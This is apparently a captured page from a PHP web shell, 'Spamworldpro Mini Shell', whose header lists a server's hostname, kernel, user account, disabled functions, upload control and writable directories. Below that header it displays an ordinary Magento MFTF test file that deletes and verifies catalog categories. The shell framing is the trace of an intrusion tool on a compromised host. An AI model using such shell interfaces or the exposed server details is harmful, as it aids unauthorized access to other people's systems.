Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-catalog/Test/Mftf/Test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-catalog/Test/Mftf/Test/DeleteCategoriesTest.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
 /**
  * Copyright © Magento, Inc. All rights reserved.
  * See COPYING.txt for license details.
  */
-->

<tests xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="urn:magento:mftf:Test/etc/testSchema.xsd">
    <test name="DeleteCategoriesTest">
        <annotations>
            <features value="Catalog"/>
            <stories value="Delete categories"/>
            <title value="Admin should be able to delete the default root category and subcategories and still see products in the storefront"/>
            <description value="Admin should be able to delete the default root category and subcategories and still see products in the storefront"/>
            <severity value="CRITICAL"/>
            <testCaseId value="MAGETWO-46344"/>
            <group value="testNotIsolated"/>
        </annotations>
        <before>
            <createData entity="_defaultCategory" stepKey="createCategoryC"/>
            <createData entity="productWithDescription" stepKey="createProduct1">
                <requiredEntity createDataKey="createCategoryC"/>
            </createData>
            <createData entity="SubCategoryWithParent" stepKey="createSubCategory">
                <requiredEntity createDataKey="createCategoryC"/>
            </createData>
            <createData entity="productWithDescription" stepKey="createProduct2">
                <requiredEntity createDataKey="createSubCategory"/>
            </createData>
            <createData entity="_defaultCategory" stepKey="createCategoryB"/>
            <createData entity="productWithDescription" stepKey="createProduct3">
                <requiredEntity createDataKey="createCategoryB"/>
            </createData>
            <createData entity="NewRootCategory" stepKey="createNewRootCategoryA"/>
            <actionGroup ref="AdminLoginActionGroup" stepKey="loginAsAdmin"/>
            <actionGroup ref="AdminSystemStoreOpenPageActionGroup" stepKey="navigateToStores"/>
            <actionGroup ref="AdminDeleteMultipleWebsitesActionGroup" stepKey="deleteWebsites"/>
            <magentoCron groups="index" stepKey="reindex"/>
        </before>
        <after>
            <actionGroup ref="AdminLogoutActionGroup" stepKey="adminLogout"/>
            <deleteData createDataKey="createProduct1" stepKey="deleteProduct1"/>
            <deleteData createDataKey="createProduct2" stepKey="deleteProduct2"/>
            <deleteData createDataKey="createProduct3" stepKey="deleteProduct3"/>
        </after>
        <comment userInput="BIC workaround" stepKey="loginAsAdmin1"/>
        <actionGroup ref="AdminOpenCategoryPageActionGroup" stepKey="navigateToCategoryPage1"/>
        <click selector="{{AdminCategorySidebarTreeSection.categoryInTree($$createNewRootCategoryA.name$$)}}" stepKey="openNewRootCategory"/>
        <waitForPageLoad stepKey="waitForPageCategoryLoadAfterClickOnNewRootCategory"/>
        <seeElement selector="{{AdminCategoryMainActionsSection.DeleteButton}}" stepKey="assertDeleteButtonIsPresent"/>
        <!--Move categories from Default Category to NewRootCategory. -->
        <actionGroup ref="MoveCategoryActionGroup" stepKey="MoveCategoryBToNewRootCategory">
            <argument name="childCategory" value="$$createCategoryC.name$$"/>
            <argument name="parentCategory" value="$$createNewRootCategoryA.name$$"/>
        </actionGroup>
        <actionGroup ref="MoveCategoryActionGroup" stepKey="MoveCategoryCToNewRootCategory">
            <argument name="childCategory" value="$$createCategoryB.name$$"/>
            <argument name="parentCategory" value="$$createNewRootCategoryA.name$$"/>
        </actionGroup>
        <!-- Change root category for Main Website Store. -->
        <actionGroup ref="AdminSystemStoreOpenPageActionGroup" stepKey="s1"/>
        <actionGroup ref="AdminClearGridFiltersActionGroup" stepKey="s2"/>
        <comment userInput="BIC workaround" stepKey="waitForPageAdminStoresGridLoadAfterResetButton"/>
        <fillField stepKey="s4" selector="{{AdminStoresGridSection.storeGrpFilterTextField}}" userInput="Main Website Store"/>
        <click stepKey="s5" selector="{{AdminStoresGridSection.searchButton}}"/>
        <waitForPageLoad stepKey="waitForPageAdminStoresGridLoadAfterSearchButton"/>
        <click stepKey="s7" selector="{{AdminStoresGridSection.storeGrpNameInFirstRow}}" />
        <waitForPageLoad stepKey="waitForPageAdminStoresGroupEditLoad" />
        <selectOption selector="{{AdminNewStoreGroupSection.storeRootCategoryDropdown}}" userInput="{{NewRootCategory.name}}" stepKey="setNewCategoryForStoreGroup"/>
        <click selector="{{AdminNewStoreViewActionsSection.saveButton}}" stepKey="clickSaveStoreGroup"/>
        <waitForElementVisible selector="{{AdminConfirmationModalSection.ok}}" stepKey="waitForModalSaveStoreGroup"/>
        <see selector="{{AdminConfirmationModalSection.title}}" userInput="Warning message" stepKey="seeWarning"/>
        <click selector="{{AdminConfirmationModalSection.ok}}" stepKey="acceptModal" />
        <waitForElementVisible selector="{{AdminStoresGridSection.storeFilterTextField}}" stepKey="waitForPageAdminStoresGridReload"/>
        <see userInput="You saved the store." stepKey="seeSavedMessage"/>

        <!-- @TODO: Uncomment commented below code after MQE-903 is fixed -->
        <!-- Perform cli reindex. -->
        <!--<actionGroup ref="CliIndexerReindexActionGroup" stepKey="reindex">-->
        <!--    <argument name="indices" value=""/>-->
        <!--</actionGroup>-->

        <!-- Delete Default Root Category. -->
        <actionGroup ref="AdminOpenCategoryPageActionGroup" stepKey="navigateToCategoryPageAfterCLIReindexCommand"/>
        <click selector="{{AdminCategorySidebarTreeSection.categoryInTree('Default Category')}}" stepKey="clickOnDefaultRootCategory"/>
        <waitForPageLoad stepKey="waitForPageDefaultCategoryEditLoad" />
        <seeElement selector="{{AdminCategoryMainActionsSection.DeleteButton}}" stepKey="assertDeleteButtonIsPresent1"/>
        <click selector="{{AdminCategoryMainActionsSection.DeleteButton}}" stepKey="DeleteDefaultRootCategory"/>
        <waitForElementVisible selector="{{AdminCategoryModalSection.ok}}" stepKey="waitForModalDeleteDefaultRootCategory" />
        <click selector="{{AdminCategoryModalSection.ok}}" stepKey="acceptModal1"/>
        <waitForElementVisible selector="{{AdminCategoryMessagesSection.SuccessMessage}}" stepKey="waitForPageReloadAfterDeleteDefaultCategory"/>
        <!-- Verify categories 1 and 3 their products. -->
        <actionGroup ref="StorefrontOpenHomePageActionGroup" stepKey="goToHomePage"/>

        <!-- @TODO: Uncomment commented below code after MQE-903 is fixed -->
        <!--<click selector="{{StorefrontHeaderSection.NavigationCategoryByName($$createCategoryC.name$$)}}" stepKey="browseClickCategoryC"/>-->
        <!--<actionGroup ref="StorefrontCheckCategoryActionGroup" stepKey="browseAssertCategoryC">-->
            <!--<argument name="category" value="$$createCategoryC$$"/>-->
            <!--<argument name="productCount" value="2"/>-->
        <!--</actionGroup>-->
        <!--<actionGroup ref="StorefrontCheckCategorySimpleProductActionGroup" stepKey="browseAssertCategoryProduct1">-->
            <!--<argument name="product" value="$$createProduct1$$"/>-->
        <!--</actionGroup>-->

        <moveMouseOver selector="{{StorefrontHeaderSection.NavigationCategoryByName($$createCategoryC.name$$)}}" stepKey="hoverCategory"/>
        <waitForElementVisible selector="{{StorefrontHeaderSection.NavigationCategoryByName($$createSubCategory.name$$)}}" stepKey="waitForSubcategory"/>
        <click selector="{{StorefrontHeaderSection.NavigationCategoryByName($$createSubCategory.name$$)}}" stepKey="browseClickSubCategory"/>
        <actionGroup ref="StorefrontCheckCategoryActionGroup" stepKey="browseAssertSubcategory">
            <argument name="category" value="$$createSubCategory$$"/>
            <argument name="productCount" value="1"/>
        </actionGroup>
        <actionGroup ref="StorefrontCheckCategorySimpleProductActionGroup" stepKey="browseAssertCategoryProduct2">
            <argument name="product" value="$$createProduct2$$"/>
        </actionGroup>

        <!-- @TODO: Uncomment commented below code after MQE-903 is fixed -->
        <!--<actionGroup ref="StorefrontCheckCategoryActionGroup" stepKey="browseAssertCategoryB">-->
            <!--<argument name="category" value="$$createCategoryB$$"/>-->
            <!--<argument name="productCount" value="1"/>-->
        <!--</actionGroup>-->
        <!--<actionGroup ref="StorefrontCheckCategorySimpleProductActionGroup" stepKey="browseAssertCategoryProduct3">-->
            <!--<argument name="product" value="$$createProduct3$$"/>-->
        <!--</actionGroup>-->

        <!-- Delete Categories 1(with subcategory) and 3. -->
        <actionGroup ref="AdminOpenCategoryPageActionGroup" stepKey="navigateToCategoryPageAfterStoreFrontCategoryAssertions"/>
        <actionGroup ref="DeleteCategoryActionGroup" stepKey="deleteCategoryC">
            <argument name="categoryEntity" value="$$createCategoryC$$"/>
        </actionGroup>
        <actionGroup ref="DeleteCategoryActionGroup" stepKey="deleteCategoryB">
            <argument name="categoryEntity" value="$$createCategoryB$$"/>
        </actionGroup>
        <!-- Verify categories 1 and 3 are absent -->
        <actionGroup ref="StorefrontOpenHomePageActionGroup" stepKey="goToHomePage1"/>
        <dontSee selector="{{StorefrontHeaderSection.NavigationCategoryByName($$createCategoryB.name$$)}}" stepKey="browseClickCategoryB"/>
        <dontSee selector="{{StorefrontHeaderSection.NavigationCategoryByName($$createCategoryC.name$$)}}" stepKey="browseClickCategoryC"/>
        <!-- Verify products 1-3 are available on storefront -->
        <amOnPage url="{{StorefrontHomePage.url}}$$createProduct1.custom_attributes[url_key]$$.html" stepKey="amOnProduct1Page"/>
        <waitForPageLoad stepKey="product1WaitForPageLoad"/>
        <actionGroup ref="StorefrontCheckSimpleProductActionGroup" stepKey="browseAssertProduct1Page">
            <argument name="product" value="$$createProduct1$$"/>
        </actionGroup>
        <amOnPage url="{{StorefrontHomePage.url}}$$createProduct2.custom_attributes[url_key]$$.html" stepKey="amOnProduct2Page"/>
        <waitForPageLoad stepKey="product2WaitForPageLoad"/>
        <actionGroup ref="StorefrontCheckSimpleProductActionGroup" stepKey="browseAssertProduct2Page">
            <argument name="product" value="$$createProduct2$$"/>
        </actionGroup>
        <amOnPage url="{{StorefrontHomePage.url}}$$createProduct3.custom_attributes[url_key]$$.html" stepKey="amOnProduct3Page"/>
        <waitForPageLoad stepKey="product3WaitForPageLoad"/>
        <actionGroup ref="StorefrontCheckSimpleProductActionGroup" stepKey="browseAssertProduct3Page">
            <argument name="product" value="$$createProduct3$$"/>
        </actionGroup>
        <!-- Rename New Root Category to Default category -->
        <actionGroup ref="AdminOpenCategoryPageActionGroup" stepKey="navigateToCategoryPageAfterStoreFrontProductsAssertions"/>
        <click selector="{{AdminCategorySidebarTreeSection.categoryInTree('$$createNewRootCategoryA.name$$')}}" stepKey="clickOnNewRootCategoryA"/>
        <waitForPageLoad stepKey="waitForPageNewRootCategoryALoad" />
        <fillField selector="{{AdminCategoryBasicFieldSection.CategoryNameInput}}" userInput="Default Category" stepKey="enterCategoryNameAsDefaultCategory"/>
        <actionGroup ref="AdminSaveCategoryActionGroup" stepKey="saveCategoryDefaultCategory"/>
        <seeElement selector="{{AdminCategoryMessagesSection.SuccessMessage}}" stepKey="assertSuccessMessageAfterSaveDefaultCategory"/>
    </test>
</tests>

Spamworldpro Mini